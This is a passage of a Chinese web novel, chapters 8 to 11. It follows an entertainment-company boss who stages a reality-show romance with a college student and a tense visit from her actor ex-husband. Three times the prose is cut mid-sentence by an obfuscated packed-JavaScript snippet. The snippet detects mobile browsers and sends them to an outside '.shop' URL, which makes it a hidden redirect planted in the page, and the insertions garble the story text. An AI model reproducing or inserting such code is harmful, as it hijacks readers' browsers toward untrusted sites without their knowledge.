了疙瘩汤。我还把可乐洒在你的笔记上了,一整页纸的思维导图都变成了棕色的可乐味。哦对,我还因为不会洗衣服被你爆头了,你打我打得超级疼。” “你还不会洗衣服?!”牧阳眉毛一挑。 “那个时候不会,”晏川连忙补充,“后来我就学会了!会得可快了。” “看来是我打到你开关了。”牧阳凉凉地说。 晏川有点脸红,他稍微侧了侧脸,避开她的目光:“……现在想起来,好像也不是什么大事。” “怎么不大,听起来都挺逆天的,”牧阳评价,“你的灵活性是不是太高了,去年刚上春晚的机器人都没你操作灵活。” “……别阴阳我了,”晏川叹息,语气里有些求饶的意味,“你当时已经惩罚我了。” “我当时罚你什么?”牧阳好奇。 “……罚我不能吃巧克力。”晏川抿住嘴唇。 “啊?”她很意外,“为什么,你喜欢吃巧克力?” “因为,”他侧头看向她,“狗不能吃巧克力。” 牧阳愣了好一会,才忽然大笑出声:“……好,我想起来了。” 她在晏川怔愣的目光中施施然站起来:“等着。” 很巧,牧阳在她生活的任何地方都常备巧克力。 巧克力是她从小到大最爱吃的零食,没有之一。 那个时候,她还不认识爸爸妈妈,只认识他们带给她的巧克力。华丽的、金属的包装,摸起来凉凉的,和夏天的田地完全不同。 漂亮的包装盒被藏在那台老式的冰柜里,和棒冰堆在一起。厚厚的被子盖住它,只有午后睡醒,才能拿出来吃一口。从那时起,巧克力就和大城市、时髦、魔法和超能力连在一起,把她的梦都变得甘醇、芬芳,仿佛有无穷无尽的甜。 她拥抱了贩卖巧克力的城市,走进了那个给她寄巧克力的家。 直到现在,她还保留着买不同品牌、不同口味巧克力的习惯。 冬天,她甚至会在口袋里塞一条巧克力。有些时候忙到忘了吃东西,这就是恢复体力最佳的道具。 牧阳找到厨房里的巧克力,拿出一整盒,像魔术师似的把它背在身后,重新走回客厅。 晏川看到她就站了起来,双眼闪烁着光,那一瞬间,几乎可以用欣喜若狂来形容。他的身形微微颤栗,似乎是因为激动而忍不住在发抖了。 “给。”牧阳也沉浸在开心之中。能分享巧克力的伙伴本就不多,随着年龄增长还越来越少了。难得有一个能吃巧克力的朋友,她只觉得找到了多年的知己。 晏川接过巧克力,看着她,像是想说什么,又不敢张口。 “吃呀,”牧阳笑着把盒子往他的方向又推了推,“快拆快拆,你不吃的话,我就没有借口吃了。” 晏川像是终于回过神来:“没想起来。” 他像是在喃喃自语。 牧阳没理解他的意思:“不想吃?那算了,你收着吧,以后吃。” 晏川讷讷地收下巧克力,颇有些魂不守舍的样子。 牧阳却已经在纸上开始写关键词了:“下雨,这个我同意。不过,后面的内容,都编的太离谱了,我们是上真人秀,不是在改短剧,不可以弄得太夸张,你明白吗?” “明白。”晏川跟着坐下。他长舒一口气,有一种叹息的意味。 她什么也没有想起来。 8. 【八】 牧阳将这理解为出戏后的疲惫:“好啦,我理解你,大家创作上头的时候都这样。我很抱歉打断你,要稍微缓缓吗?喝口椰子水?” 晏川摇摇头。 半晌,他忽然说:“你记不记得十二年前发生的事?” “十二年前?”牧阳认真想了想,“我刚上大学的时候,那年播了一个特别好看的抗日剧,史文强、许来宝演的,我当时高考前还在偷偷看。对,那年段玉廷演的电影也很火,不过是个爱情片,你那个时候应该看不了……” 晏川幽幽看着她:“不是这些。我是说你自己的事。” “我自己的事?”牧阳想了想,“我那年高考,然后考进了东海大学?” “只有这个吗?其他的事情,不记得了吗?”晏川好像在期待着什么。 牧阳想了好半天,摇了摇头:“不记得了。不会是我们那个时候就见过吧?那你才多大,九岁?十岁都没到,天呐,还是个小学生!”她的手戳在他额头上。 晏川看着近在眼前的手指。他抓住她的手想拿下来,于是她干脆牵着他的手,用另一只手拿过那张情感经历图。 “别想那种段子里才会发生的事情了,编的太离谱,真人秀的观众不会买账的。大家来看综艺,肯定是想看到符合现实发展逻辑的感情线,又能稍稍超越现实,有浪漫的小元素。”牧阳在纸上画了个圈,把刚刚提到的“大雨”圈了起来。 她抬眼望向他:“基于现实的故事才有可信度。事实上,我们的初见和现在的约会,也挺浪漫的不是吗?我们完全可以基于这两次见面发挥,把它们变成我们的恋爱故事。” 晏川几乎没听见她说话。 他的注意力都在两人相互牵着的手上,她说话的时候,手上还在下意识摩挲他的手指关节,像是在把玩他的手。 那种痒意让他很难克制。 “其实我们第一次见面,确实是在下雨。”牧阳说,“就在学校的咖啡馆。” 她回忆起那杯久违的摩卡,还有怀里夹着书,在吧台点提拉米苏的小帅哥。 “对啊……提拉米苏,你点的。” 提拉米苏,在意大利文里有“带我走”的意思。 晏川没有避开她的目光:“……对。是暗示。” “好隐晦啊,”牧阳笑了,“小朋友从哪里学来的这个。初恋教的?” 晏川一下子气红了脸:“没有初恋!如果不信我,你可以直说。没必要一直试探我。” “有吗?”牧阳眨眨眼睛,压着他的手讨好地点了点他的手背,指腹划过他的皮肤,更痒了,“不好意思,你很介意的话,我以后不会再开这种玩笑。” 晏川扣紧她的手。他试图按住她作祟的手指,于是两人的手在博弈中逐渐翻弄成十指相扣的样子,他将她的手按在沙发上,才发现两人刚刚谁也没说话,完全就是在玩。 他侧过头,与她四目相对。 她在配合他玩。 他能意识到。 “第一次见面,就是我们的第一次接吻。” 她的吐息几乎都能呵在他脸颊的肌肤上。 像湿热的雾。 牧阳看着眼前人双颊逐渐染上的绯红。可惜了,这一幕在摄像机前多适合做引流的切片啊。 “……嗯。本来就是。” “是啊。”本来就是,“但是理由需要改一改。” “不用改。”晏川顶着她的目光,硬着头皮说,“你本来就说想试试我。” “啊,”牧阳有些古怪地咀嚼他的话,“我‘试试’你?” 晏川没再接话了。 两人十指相扣的手没有松开。她忽然把头靠在他的肩上:“你和我‘告白’,提出要和我交往,我一开始没同意,说要‘试试’你。” “然后我就吻你了,”晏川接话,“就像上次那样。” 牧阳的视线落在他的嘴唇上。 只是一个眼神暗示,于是他又一次凑上来,她偏过头,于是让这个吻落在唇角。 一触即分。 她在他眼中看到自己的倒影。不够沉醉,只有调情时人固有的轻松享乐。 随着她的调整,他试图配合,像一场追逐。 配合,又生疏。 这不合适。 牧阳主动咬上他的唇畔。这是戏弄,他们彼此睁着眼睛,她确保他能清晰地看见她眼里的调侃。 果不其然,晏川再次吻上来。这次她偏过头,他就追过去,于是这个吻变得更加强势。失去了默契,但是不再生疏。 她的手按在他的胸口,加深这个吻。 最后晏川放开她,额头上竟然有打湿的汗珠。 牧阳自己也没好到哪里去。 身体反应做不得假,两人无声地拉开一段距离,等待心跳的平复。 “我试过之后发现,”她说,“我们之间很有反应。” 晏川侧过头盯着她。 他在深呼吸。 “你想呈现的是性张力。”晏川笃定地说。 牧阳点头:“虽然现在网上很流行说些小奶狗,听话男大之类的话题,但事实上观众对这一款真的很难买账。公司尝试推出过这方面的人设包装,但是都失败了。” 失败的意思是不够成功。 只有收益达到诱人的地步,才值得被留下来。 牧阳只把握头部。她漏下去的,才给别人喝汤。 靠在沙发上的女人神色倦怠,他盯着她灯光下红晕不褪的脸,只觉得十分迷人。他不确定在她眼里,他是否有着同等的魅力。 少年人目光灼灼地盯着她。 新生的猎手还没有捕获过属于自己的猎物,所以他会在陷阱附近仔细观察,反复确认。 看她会不会逃走。 牧阳倚靠一会,欣赏完他这种带着好奇心的恋慕,才施施然起身,有一次去拿笔,将纸上的“第一次接吻”勾掉。 “我们在咖啡馆见面,然后接吻。”牧阳说,“我对你很满意,所以邀请你约会。” “我先邀请你,”晏川跟着她的动作,靠在她身边,双臂一伸将她揽进怀里,试图做一种名为撒娇的保护,“然后你没有时间,只能把我接到公司里去。” “非常合理。”牧阳果断采纳,在思维导图的中间画出一条新的线,写下“小川的邀请”。 晏川拿起她放下的笔,递过去一个询问的眼神。牧阳点点头,于是他在“邀请”两个字的后面,迅速画出一只失落的,双目含泪的简笔画小狗。 牧阳拿起来一看,喃喃:“天呐。” 她再侧头看看晏川,一会看看他,一会看看狗。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992399|193776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我怎么舍得拒绝你,”牧阳迅速拿过一杯酸奶,喝了一口,“这太不可思议了。” “你没时间,所以你直接把我接到了你公司里,”晏川又说了一遍,“你没有拒绝我。” 只是没时间。 “……没错。”牧阳放下饮料,抬手扣住晏川的后脑勺,贴近他。就在他以为她要亲他的时候,她狠狠搓了搓他的头发。 “小川,”她笑眯眯地说,“我把你接到公司里来干什么?” 这和他预想不同。 他有点迷茫地看着她,不理解她的意思。 牧阳脸上的笑意淡了:“我是说,我没有为了找你约会,把你主动叫来公司的理由。我工作很忙,完全可以让人把你送去我的住所,金屋藏娇。” 她轻轻瞥了一眼两人身处的环境,暗示明显。 晏川明白了:“你的意思是,我是主动来你公司的。” “嗯。”她点头。 “本来你要接我去你家,但是我提出,我要来你们公司采访你,完成我的学生会任务。”晏川找起理由真是信手拈来,“我要采访一些知名校友,提高我们账号的流量。作为一名大学生,我非常会利用自己的人脉。” 他瞥了她一眼:“所以我单枪匹马,以一己之身采访总裁。” 牧阳几乎要笑出声了:“你这是吃了几本言情小说。” “……就看过《五十度灰》。” “天。”牧阳弹了一下他脑瓜崩,“放开。” 晏川终于松开手。 牧阳画了一个箭头,连接上“小川的邀请”与“第一次约会”。 然后,她握住他的手。 两人的手交握在一起,本来是她上他下的合掌,他的手指却挤进来,最后变成十指交扣的手势。 无比自然,好像刚才在沙发上,他们也是这么玩的。 “记住了,这就是我们第一次牵手,”牧阳说,“在我们从公司回家的路上。” “这个家吗。”晏川喃喃。 “对,”牧阳说,“能记住手是在哪里牵的吗?” 晏川想了想:“大部分时间你都在开车,所以是下电梯的时候牵的。” 牧阳盯着他看了一会:“错,是全程。” “如果下电梯就开始牵手,那在停车场一定也会牵,出停车场回家也会牵。”牧阳说,“我们是刚在一起的小情侣,是最腻乎的时候,我们为什么不一直牵着手?” 她拉着他的手摇了摇。 “……很好牵。”他情不自禁地低语。 “嗯?” “对。”晏川立刻肯定她的话。 “除了我开车的时候,你都一直牵着我。”牧阳说。 晏川知道,自己被“很黏人”了。 但是他没有反驳:“是的。” “那很好,”牧阳满意地说,“现在我们到约会地点了,你想做点什么?” 晏川望着她的眼睛,欲言又止。无意识的吞咽,喉结滚动。 牧阳挑眉:“想玩游戏吗?” “……什么游戏。”他嗓音有点哑。 就在他以为她会说出某些游戏名字的时候,她拉过他的另一只手,让他们的四只手交叠在一起。 “寻找对方身上敏感点的游戏,”她笑着说,“但是禁止用手。” 9. 【九】 她补充:“也不可以动脚。” 晏川顺着她的视线,看向两人交叠在一起的手,还有互相抵住的膝盖。他凑近她,试探性地绕到她耳边,用嘴唇轻轻触碰她的耳垂。 “这样吗?”他在她耳畔低声问。 “就是这样,”牧阳躲了躲,“这么聪明?这么快就找到一个。” 晏川没回答:“……该你了。” 于是牧阳也靠上来,有样学样地亲他的耳朵。 沿着耳廓向下,最后含住他的耳垂。 最后亲到他的耳根通红,她才放开他:“嗯,平局。” 晏川红着脸,凑近她的锁骨。他闭了闭眼,吻上去。 在身侧垂落的双手不住地颤抖,是他拼命克制自己的表现。 “我该亲点不一样的,”牧阳低声说,“不然不公平,对不对?” 于是,她吻住他的喉结,成功听到他低沉的喘息。 她刚要抬起头,忽然发现自己的手腕被他拽住了。 晏川张了张嘴,正要说些什么,玄关处的门铃忽然响了。 不止一声,持续不断。 “这个点了谁会来,”牧阳放开他,起身去拿手机,边走边理衣服,“我去看看。” 晏川顾不上被抛弃的手,立刻跟着站起来,随她一起走向门边。 牧阳没开门,只是盯着可视门铃。 画面上的人影,赫然就是她这些年最熟悉的陌路人—— 江百川。 江百川戴着连帽卫衣,但似乎是为了让她认出他来,所以摘下了口罩和眼镜,露出了那张具有国民辨识度的脸。 “我来开门吧。”晏川自告奋勇。 牧阳摇摇头,打开门铃的通话器:“你来干什么?” 门外传来江百川的声音:“我来接四凤。” “四凤?”牧阳不明白。 “让我进去,”江百川说,“我们一起养大的四凤。” 牧阳迟疑了一瞬。 她确信他们结婚的时候从来没有养过什么东西,没有人,没有宠物。猫、狗、老鼠都没有。 只有他们当年在学校排过开玩笑的话剧。 那真是一次玩笑,当时几个同学凑在一起,说要搞搞“反串”,让男生演女角色,让女生演男角色。 于是,在众人的起哄中,江百川被迫应下来演鲁侍萍。她被同学撺掇,盛情难却,不得不答应也演上一演。 不过,自有社团的台柱子来演周朴园,她最后负责演的是鲁贵。那真是豁出去了,她演得很投入,尽管同学们全都在笑。 四凤,是《雷雨》里鲁贵和鲁侍萍的孩子。 他们该有这个孩子吗? ……是不是他有什么话要说? 牧阳想了想,最后下定决心。 她推了一把身后的晏川:“你先找个房间休息去,等他走了我叫你。” “我见不得人?”晏川问她。 牧阳指指他的衣领:“收拾一下再说。” 晏川点点头,非常听话地往房间的方向走。 牧阳这才给江百川开门。 江百川迅速走进,毫不客气地踩入客厅。 “进门就换鞋。”牧阳在他身后说,语气很不客气。 “我拿个东西就走。”江百川很急,他快步走进客厅,环视一圈,忽然走向离玄关最近的柜子,猛地扑过去。 “你到底来拿什么?!”牧阳惊疑不定地看着他。 江百川回过头来,伸出手指,指向那盆绿植:“四凤。” 牧阳看看他,又看看他手指的绿植。 “哈?”她发出一个疑问的气音。 “四凤是这盆绿萝的名字,”江百川说,“我们一起养大的绿萝。周萍、鲁大海都在我这,还差四凤。” 牧阳几乎都要被气笑了:“就这,一盆绿萝?你为了它专门半夜来这一趟?” 她上下打量他:“你今天的行程刚结束吧。” “嗯,”江百川点头,“我的孩子,我带走。” 冷静点。 现在不是和他争论“四凤”这盆绿萝算不算孩子的时候。 牧阳掐着自己的掌心,强迫自己冷静下来,视线不经意晃过绿萝旁边那只端坐的导演小狗,不自觉松了口气。 “只有这个吗,你确定没有东西是你落在我这里的吧。”她说,“这里是我家,我下次不会再开门。” “你从来没关心过四凤吧,”江百川观察这盆绿萝,“你看这片叶子,都黄了。” “它对我来说就是一个摆件。”牧阳说。 “既然你不喜欢四凤,当初为什么要带走她。”江百川小心翼翼地抱起花盆,“搬家那天你都没来。” “我当时在和邵导谈你的片约!不然当初这个本我们怎么抢……” “我知道,”江百川笑了,他不笑的时候眉眼凌厉,笑的时候显得格外温柔,“你很忙。幸好有你,不然我的事业又该怎么办呢?只是我总觉得难过,家里那么多东西,我只能一个人看着。” 牧阳努力地深呼吸:“你确定只有这个东西。你保证以后不会再来。” “我以为我们以后还会再见,沐阳娱乐难道永远不会和明煊合作吗?” “没说工作上,”牧阳顿了顿,“别再侵入我的生活,江先生。” 江百川点头:“好。既然如此,那我们还是来聊聊工作。你快停止你和那个无辜小男孩的营销,放过他,也放过你自己。” “这与你无关吧,江先生。而且,谈个恋爱而已,我们这边上热搜,不是正好也帮江先生摘去绯闻,两全其美啊。”她摊了摊手。 “牧阳,”江百川的脸色渐沉,“不管你想对我做什么,都冲着我来。你不要伤害无辜的人。” “不知道你又梦到哪出了,”牧阳盯着他,“总之放弃你的劝告,带着你非拿不可的绿萝走吧。” “我警告你,如果你继续这样执迷不悟,”江百川捏着花盆的手稍微用力,“我真的会上‘为期一周的旅行’,成为你的观察嘉宾。” “贵司的安排我这边不了解,你们随意。”牧阳叹了口气,“你从来就不懂这些弯弯绕绕,掰开和你解释你也不听。如果搞不明白,那你就回家看你喜欢的老电影,或者让你的新东家给你找点好本子,别整天在那胡思乱想。” 江百川侧过头,像是想避开她的视线,却不可避免地看到了原本摆在绿萝旁边的摆件:“这是什么?你最近入坑盲盒了?” “这个东西你认识?”牧阳歪头。 “我……” “谦谦姐姐!”一个声音从房间那头传来。 牧阳和江百川同时往那个方向看去,只见穿着睡袍的年轻男孩从走廊那头走出来,神态放松自然,嘴上还打了个哈欠。 晏川看到江百川,视线只停留了一秒,立刻移向牧阳:“姐姐,你们聊到哪里了?” 牧阳嗔怪地看了他一眼,也不揭穿,伸过手去。晏川无比自然地走过去,捧起牧阳的手臂,轻轻按在自己胸口。 “砰——” 花瓶落在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992400|193776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地上,玻璃碎裂声响彻整个屋子。 牧阳躲得快,晏川因为想护着她,只往后退了半步。 江百川瞪着他们,一张脸又冷又臭。 “哟,手滑了吗,江大哥?” 牧阳看不见晏川的表情,但是她可以看到江百川气得直发抖。他咬着牙齿,整个人绷紧,像是下一秒就要爆发的斗士。 但是他没有。他只是蹲下去,捡起地上倒在水泊里的绿萝,握在手上。 牧阳有些不确定地喊了一声:“江百川?” 他就这么弯腰去捡东西? 到时候受伤了怎么办,谁来赔,上节目前能修复好吗? 江百川明显听到了,但他一句话也没说。 他戴上口罩和眼镜,走掉了。 等了好一会,确认没有人再来,牧阳才瞥了晏川一眼:“去工具间拿扫除用具。” 晏川二话不说就去,牧阳想了想,从茶几上取过纸巾盒,拿着纸巾叠了两层,开始捡地上的玻璃碎片。她把捡起来的大片玻璃碎片扔进垃圾桶,忽然感觉手指一疼。 “……嘶。”牧阳迅速抬手,果不其然看到右手拇指被划出了一道血痕,此刻正凝成一颗血珠。 她立刻又抽纸巾想要止血,忽然听到身侧有人问她:“医药箱在哪里?” “那边。”牧阳用另一只手给他指了指位置。 “你坐在沙发上等我。”晏川说。 牧阳没逞强,她坐回沙发,还有闲心用空下来的小拇指拨亮屏幕,看有没有需要紧急处理的工作。 晏川带着医药箱回来,跪在她旁边,取出酒精棉球给她消毒。 “这么小的伤口,放一会就愈合了,”牧阳说,“不用贴创口贴的。” 晏川盯着她。 他很生气,但是不得不说,从下往上看的眼神就是没有什么攻击力。像一只拿主人没有办法,只能努力观察她的小狗。 “我已经去拿工具了。”他说,“下次等等我。碎都碎了,也急不了。” “……你说得对。”牧阳笑了笑。 晏川收起医药箱,像是忽然看到什么,他拿出其中一盒药,看向上面的生产日期。他又拿起一盒,开始看。就这样看完了三层,他拿出了好多药,转头看她:“都过期了。” “也是好事。”她拍拍他的肩,“列个单子,明天叫大家去买,还有什么生活用品,也一起写上去。” “暂时也想不起来什么。”晏川起身,再次拿起清扫工具。 她看着他扫除的动作,犹豫了一下,没再起身。她看向手机上的屏幕显示时间。 有些晚了。 就算寝室没有门禁,在凌晨吵醒室友也是一件有失和睦,影响风评的事情。 “抱歉,”她出声道,“今天太晚了,我有点累,恐怕没法送你。你留下过一夜,明早让姬慧送你回学校上课,行吗?” “没事,”晏川说,“明天上午的课很晚。” 他直起身:“我衣服都换了。而且,我看该有的东西,家里都有。” ……该有的东西? 看来,小朋友在偷拿他身上这份恶作剧道具的时候,看到了很多不该看的东西。 牧阳看着晏川把卫生做好,才朝着他招招手,让他过来。 晏川这才坐在她身边。 牧阳掰过他的下巴,盯着他脸上的表情:“醋了?语气这么酸。” 晏川别开视线:“那些……都是他的东西吗?” “他?” “刚刚那个人。” 10. 【十】 连江百川的名字都不愿意提。 “哦,不是的,”牧阳用手指摩挲他的嘴唇,“这套房一直在我名下。” 大概是顾忌她手指有伤,他一点也不敢动,只是视线随着她的手指移动,眼睫也跟着垂下来。 “他从前就没来过这。不知道今天怎么想的,忽然就来了。” 她蓦地有些生气。 一盆植物而已,她从来就没有在乎过。要不是今天江百川上门来讨,她甚至不记得家里还有这个,当然,她也很少回来这里,也对这个地方是她的新家不太有什么实感。 更让她感到憋闷的是,她当初和江百川的家里是养了许多花花草草的。老实说,她对植物这种东西没什么感觉,可有可无,她不会在意。 不过,江百川喜欢。 这家伙对外营业装的矜持清俊,其实这家伙私底下就跟个野人一样,恨不得住在大自然里。 创业初期,大家都忙得脚不沾地,他也没提过这件事,两人到处去各种森林公园吸氧也就罢了;前几年事业终于比较稳定了,他就提出要在家里养花。当时她刚跟团队评估确认这事可行,第二天家里就变成了他一个人的热带雨林。 他们生活的只是一栋普通的居民住宅,不是温室。 江百川根本不会养花。 大量的植物在他们的房子里枯萎。每天她都能闻到植物死去的气息。 牧阳实在看不下去了。她找人联系专业团队来到他们的家,对花园重新整理,还聘请园艺师定期上门,约定合适的工作时间和薪水。为了保证隐私,所有上他们家工作的工人都要签协议,这件事也必须委托工作室负责处理。 最后,江百川只要洒洒水就行了。 然而,她的行动好像被他当成了某种赞成的讯号。江百川竟然沉迷购置更多品种的鲜花绿植,甚至摆了一些据说有安神作用的植物在他们共同的卧室。 这让牧阳非常不舒服。她不是不能接受和植物共处,但是江百川把这些花搬进卧室的时候,既没有征求她的意见,也没有提前通知。她一回家,卧室就被摆满了鲜花,她从门口走到床头,不得不经过它们,闻到它们身上那种糜烂的香气。 她在乡下长大,怎么可能会讨厌植物。她喜欢农田的味道,想念田里的卷心菜,怀念春天金色的油菜花田。她记得当年比她人高出两倍的玉米地,她记得她放一片树叶飘过不同田地之间的水渠。 可是那股气味让她觉得恶心。 直到现在,她还在下意识地远离绿植。 那盆绿植被她无意识地摆在客厅,那是离卧室最远的地方。好像这样她就能对它眼不见为净了。 ……还是很难过。 牧阳放下手,渐渐地抱住自己的膝盖。 痛苦还在,还没有彻底被摆脱。 她还是会为上一段感情难过。十年,她人生的三分之一都和这个人绑在一起。她了解他,所以她可以利用这一点,布局他,算计他,让他不得不继续他解约前未完成的事业。 公司的利益驱使她不断超前,她必须尽可能挽回招牌艺人跳槽后造成的损失。如今所需承受的代价,不过是当年搭伙本身带来的风险。 就和她一样。 牧阳了解江百川的同时,江百川也足够了解牧阳。 江百川的直觉很敏锐,有时候,他甚至能先她一步察觉她的想法。而且,他还在不甘地、不断地试探他们的感情。 刚才那一场戛然而止的闹剧就是。 她给他开门,他得寸进尺。他很懂得如何利用她的弱点,更知道如何利用自身的优势。 理智飞速思考,可情感有自己的步调。 牧阳盯着自己的手。 她又被他带跑了。 当面对峙的一瞬间,仿佛,她还处于爱他的错觉当中。 “小心!” 提示声晚了。 牧阳只觉得身体一阵反胃,大脑也跟着眩晕。她试图起身,却直接从沙发跌下,重重摔进毯子。虽然高度不高,但好像也足够吓人,因为她听到有人跪在她身边,惊恐地大声喊她:“谦谦姐姐!你还清醒吗?!” 仰头看着天花板,不一会就发觉顶灯太亮。 牧阳疲惫地睁开眼睛,半晌才说:“……刚有点困意,就被你喊醒了。” 晏川撑在她身侧。他盯着她的神情过于专注,绷紧的面庞似乎藏着某种过于夸张的惊恐。他反应了好一会,才意识到她真的没事,慢半拍地松开手臂。 牧阳从地上撑起来,拍拍他的肩膀:“行了,正好去洗漱。起来,你也去洗,那个洗手间归你。” 一天天的累得不行,牧阳匆匆洗漱完毕,刚走出浴室就看到晏川站在门口。 浑身清爽,浴袍也换了一身,离得近了还能闻到他身上淡淡的沐浴香气。公共浴室的沐浴露和她房间里的那些并不一样,不过也很好闻。 “你用的哪个?”牧阳好奇地问,“那些我买了没拆全放置物架上了,好多还没试过呢。” “……紫色的,第三排其中的一个。”晏川站定了任由她闻,微抿嘴唇,好像有点害羞。 她反应过来:“紫色,难怪闻起来像葡萄。” 在她几乎要埋在他肩窝的时候,晏川轻轻拉住了她的手臂:“今晚我睡哪里?” 牧阳头也没抬:“客房。” 晏川像是哽住了,他的僵硬明明白白透过肢体语言传递给她。 牧阳忍不住笑:“难道你还想同床共枕吗?我们只是刚确认关系不到……一个月的情侣,没有同居,没有结婚,现在没必要睡在一起。” “……嗯。”晏川表示理解。 她松开手,把他推出房间。 但实际上,牧阳上床之后,竟然一反常态地没怎么睡着。太奇怪了,她几乎每天都累到倒头就睡,最近的工作强度也没有减小。 难道是那一缕葡萄汁液凝成的香气,偷走了她恒久常存的困意? 这个念头冒出来的一瞬间她就被自己逗笑了。牧阳翻个身,清去脑子里的杂念,再次闭上眼睛。 然而,刚闭上眼,江百川的脸忽然闯入她的脑海。 她开始自动模拟他会在观察室里说些什么了。一想到他可能会说的那些话,她就心情沉重。 这下是真睡不着了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992401|193776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。牧阳疲惫地披衣起身,还不如刚才就沉浸在春梦里算了,是她没有把握机会。 客厅的灯还黑着。牧阳轻手轻脚地走过来,担心吵醒睡在隔壁的晏川,她没有开灯,而是用手机的手电光照明。她打算去厨房给自己倒一杯热牛奶。 她一向沾枕就睡,更是可以在任何时间任何地方打盹。这项技能在影视行业工作堪称保命神技,她很庆幸,但这也导致她没有准备褪黑素的习惯。 如果她没记错的话,医药箱里是有褪黑素的,不过……刚刚和其他过期药品一起被晏川处理了。 光线扫过客厅的地面,忽然照到沙发上鼓起的一大团阴影。 牧阳不动声色,抬高手机灯光照明的位置,赫然发现一个熟悉的人影蜷缩在沙发上,裹着一个客房里拿来的毯子。 ……是晏川。 不到两秒,牧阳放松下来,移开手电。她不理解为什么晏川好端端地不在客房睡,竟然跑过来睡在沙发上。家里这条沙发宽度并不适合睡觉,晏川一个人高马大的帅小伙只能侧躺,根本摆不出放松的姿势。 她靠近两步,没有刻意隐瞒声音,但是晏川根本没动。他要么是睡熟了,要么纯装睡。 牧阳迟疑片刻,抬手按在他胳膊上,低声问:“为什么不去客房睡?” 没有回应。她只能听到他的呼吸声。 他的呼吸绵长,似乎并没有睡得不好的意思。 “真的睡着了?” 然而她刚准备放开手,就听到他不清醒的呢喃。 “谦谦……姐姐……” 牧阳一下子收回手。 反应过来的时候,她已经退回了卧室,既没有去厨房,也没有把晏川叫走。 真是奇怪。他只是喊了一声,她就像害怕什么变故似的,下意识逃跑了。 第二天牧阳是被闹钟吵醒的。 她打开床头灯,检查一遍手机备忘录里的购物清单,直接将它发给了姬慧,让她买好东西开车过来。接着她关了床头灯,放下手机继续补眠。 这一觉她一直睡到了近中午,打开遮光窗帘的时候,天光亮得室内一片光明。家里有隐约的人声,似乎顾忌她没醒,活动声并不大。 牧阳洗漱完毕,穿戴整齐地走出卧室。 “早啊牧姐!你醒了!”姬慧正站在餐桌边忙活,看到她就朝她打招呼。 牧阳低头看,客厅的茶几上摆满了采购来的物件,全都码开,只等这个家的主人宣布它们的归处。 她没管这些东西,走到姬慧身边:“什么时候来的?小川呢?” 姬慧忙着拆外卖盒。她把保鲜膜一圈一圈地撕下来,边撕边说:“十点半就到了,不过有几个东西没买到,校对单我打下来放在茶几上了。他在厨房呢。” “好,”牧阳答了一声,探头朝厨房看去,“小川?” “来了!”厨房的门打开,一股诱人的香气扑面而来。晏川戴着隔热手套的手端着一托盘的点心走了出来,身上还系着围裙。 牧阳愣神了好一会,最后看到一托盘的点心降落在餐桌上,和那些外卖摆在一起。 巧克力麦芬蛋糕。 11. 【十一】 “我看厨房里这些材料都有,还有烤箱,就擅作主张烤了一份。”晏川说,“这个不难,半个小时就能做好。” “厨房的东西都是请曲师傅负责进的,我没怎么关注过,”牧阳不好意思道,“我还没在这边开过火呢。” 在她提到“曲师傅”的时候,姬慧小声提点了晏川一句:“那是牧姐家的私人厨师。” 晏川点点头。他刚要拿起一个巧克力麦芬,就被牧阳阻止了。 “这么好的福气,我没道理不享受一下,”牧阳笑道,“让我拍几张照片发朋友圈。” 姬慧配合地让出位置,帮忙开灯打光。 晏川有点不太习惯这种隆重的架势,在牧阳的镜头底下有些羞涩。牧阳连续按下快门的瞬间,忽然有那么几秒和他隔空对视。那一瞬间,她的心跳好像也漏跳一拍。 她反手扣下手机:“行了,拍完了。我们赶紧吃吧,还有这些外卖,再不吃凉了。” 姬慧凑过来,有些纳闷地边拆筷子边落座:“姐,你不发朋友圈吗?” “吃完再说。”牧阳说,“岂能先让别人知道,再来蹭饭?” “就是就是,蹭饭的有我一个就够了。”姬慧跟着附和。 晏川低头吃饭,他几乎没怎么搭话。 牧阳和姬慧聊完工作,才抽空对晏川说了一句:“继续保持,在外面话要少说。” 晏川“嗯”了一声。 牧阳认真品尝手上的巧克力麦芬:“这手艺,你练了多久了?不是新手吧。” 姬慧敏锐地投去目光。 “以前在家经常做,”晏川果然说,“姑姑下班晚,家里的家务都是我在做。” 姬慧惊讶道:“你是和你姑姑一起生活的?” 晏川手上的动作一顿。他点点头,目光迎向牧阳:“我十岁的时候被过继给姑姑了,之后我就跟着她一起去了西京生活,上大学才回东海。” “你不是东海市人?”姬慧眉毛高高扬起。 牧阳给了她一个眼神,示意晏川继续说:“那这么说,你只是户籍在东海,实际上你从小学到成年之前都在外地。” “……是。”晏川点头。 “你在哪高考的?”牧阳好奇道,“西京和东海不是一个考法。” “西京。” 